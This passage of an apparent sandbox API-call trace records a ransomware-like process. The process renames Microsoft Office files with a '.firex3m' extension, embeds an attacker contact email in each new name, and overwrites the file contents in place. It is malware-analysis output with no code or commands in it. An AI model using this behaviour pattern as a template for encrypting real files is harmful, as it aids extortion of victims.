dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0148.997] GetProcessHeap () returned 0x630000 [0148.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd21) returned 0x709768 [0148.997] GetProcessHeap () returned 0x630000 [0148.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd21) returned 0x695ed0 [0148.997] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.997] ReadFile (in: hFile=0x6ec, lpBuffer=0x709768, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x4d3ff0c*=0xd00, lpOverlapped=0x0) returned 1 [0149.010] GetProcessHeap () returned 0x630000 [0149.010] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0149.010] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.010] WriteFile (in: hFile=0x6ec, lpBuffer=0x695ed0*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesWritten=0x4d3ff0c*=0xd00, lpOverlapped=0x0) returned 1 [0149.011] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.011] WriteFile (in: hFile=0x6ec, lpBuffer=0x696bcf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x696bcf*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.011] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.011] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.011] CloseHandle (hObject=0x6ec) returned 1 [0149.011] GetProcessHeap () returned 0x630000 [0149.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0149.011] GetProcessHeap () returned 0x630000 [0149.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0149.011] GetProcessHeap () returned 0x630000 [0149.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0149.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1ec2d8c6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0xbfc7496, dwReserved1=0x709760, cFileName="PSRCHPHN.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHP~1.FIR")) returned 0x6d54c0 [0149.383] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0149.383] Sleep (dwMilliseconds=0x1) [0149.388] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS", len=0x4a | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS") returned 1 [0149.388] GetProcessHeap () returned 0x630000 [0149.388] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fa4e00, Size=0x274c) returned 0x6fa4e00 [0149.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0149.400] CloseHandle (hObject=0x5e4) returned 1 [0149.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~2.FIR")) returned 0x6d4e40 [0149.410] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0149.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0149.413] GetProcessHeap () returned 0x630000 [0149.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c78f8 [0149.413] GetProcessHeap () returned 0x630000 [0149.414] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d2d28 [0149.414] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.414] ReadFile (in: hFile=0x5e4, lpBuffer=0x70c78f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c78f8*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.176] GetProcessHeap () returned 0x630000 [0156.176] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0156.176] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.176] WriteFile (in: hFile=0x5e4, lpBuffer=0x70d2d28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d2d28*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.177] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.177] WriteFile (in: hFile=0x5e4, lpBuffer=0x70de127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70de127*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.177] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.177] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.177] CloseHandle (hObject=0x5e4) returned 1 [0156.177] GetProcessHeap () returned 0x630000 [0156.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d2d28 | out: hHeap=0x630000) returned 1 [0156.177] GetProcessHeap () returned 0x630000 [0156.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c78f8 | out: hHeap=0x630000) returned 1 [0156.177] GetProcessHeap () returned 0x630000 [0156.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0156.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23094a18, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e6c8, dwReserved0=0xbfc7496, dwReserved1=0x70c78f0, cFileName="SCHEME53.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~2.FIR")) returned 0x6d5540 [0156.178] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0156.178] Sleep (dwMilliseconds=0x1) [0158.366] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap", len=0x6d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap") returned 1 [0158.367] GetProcessHeap () returned 0x630000 [0158.367] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bb4) returned 0x707d3d0 [0158.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\powerviewres.zh-cht.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0158.368] CloseHandle (hObject=0x4c0) returned 1 [0158.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\powerviewres.zh-cht.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\powerviewres.zh-cht.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16461eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb30, dwReserved0=0x4a085a18, dwReserved1=0x6e006f, cFileName="PowerViewRes.zh-CHT.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4ec0 [0158.369] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0158.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-cht\\powerviewres.zh-cht.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0158.369] GetProcessHeap () returned 0x630000 [0158.369] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f818b0 [0158.370] GetProcessHeap () returned 0x630000 [0158.370] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f8cce0 [0158.370] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.370] ReadFile (in: hFile=0x4c0, lpBuffer=0x6f818b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f818b0*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.532] GetProcessHeap () returned 0x630000 [0165.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0165.532] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.532] WriteFile (in: hFile=0x4c0, lpBuffer=0x6f8cce0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8cce0*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.532] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.532] WriteFile (in: hFile=0x4c0, lpBuffer=0x6f980df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f980df*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.534] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.534] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.534] CloseHandle (hObject=0x4c0) returned 1 [0165.534] GetProcessHeap () returned 0x630000 [0165.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8cce0 | out: hHeap=0x630000) returned 1 [0165.534] GetProcessHeap () returned 0x630000 [0165.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f818b0 | out: hHeap=0x630000) returned 1 [0165.536] GetProcessHeap () returned 0x630000 [0165.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0165.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\PowerViewRes.zh-CHT.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289d040b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4eb54, dwReserved0=0xbfc7496, dwReserved1=0x6f818a8, cFileName="PowerViewRes.zh-CHT.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0165.536] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.537] Sleep (dwMilliseconds=0x1) [0165.541] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.541] GetProcessHeap () returned 0x630000 [0165.541] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd0) returned 0x707d3d0 [0165.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0166.799] CloseHandle (hObject=0x6e4) returned 1 [0166.799] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0171.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0171.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0171.654] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0171.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0171.654] GetProcessHeap () returned 0x630000 [0171.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7453500 [0171.655] GetProcessHeap () returned 0x630000 [0171.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x745e930 [0171.655] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.655] ReadFile (in: hFile=0x6e4, lpBuffer=0x7453500, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453500*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.635] GetProcessHeap () returned 0x630000 [0178.635] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0178.636] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.636] WriteFile (in: hFile=0x6e4, lpBuffer=0x745e930*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745e930*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.636] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.636] WriteFile (in: hFile=0x6e4, lpBuffer=0x7469d2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7469d2f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.636] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.636] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.637] CloseHandle (hObject=0x6e4) returned 1 [0178.637] GetProcessHeap () returned 0x630000 [0178.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745e930 | out: hHeap=0x630000) returned 1 [0178.637] GetProcessHeap () returned 0x630000 [0178.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453500 | out: hHeap=0x630000) returned 1 [0178.637] GetProcessHeap () returned 0x630000 [0178.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0178.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x306d26be, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11c84, dwReserved0=0xbfc7496, dwReserved1=0x74534f8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0178.638] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0178.638] Sleep (dwMilliseconds=0x1) [0181.941] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr", len=0x4a | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr") returned 1 [0181.941] GetProcessHeap () returned 0x630000 [0181.941] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa0) returned 0x707d3d0 [0181.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr" 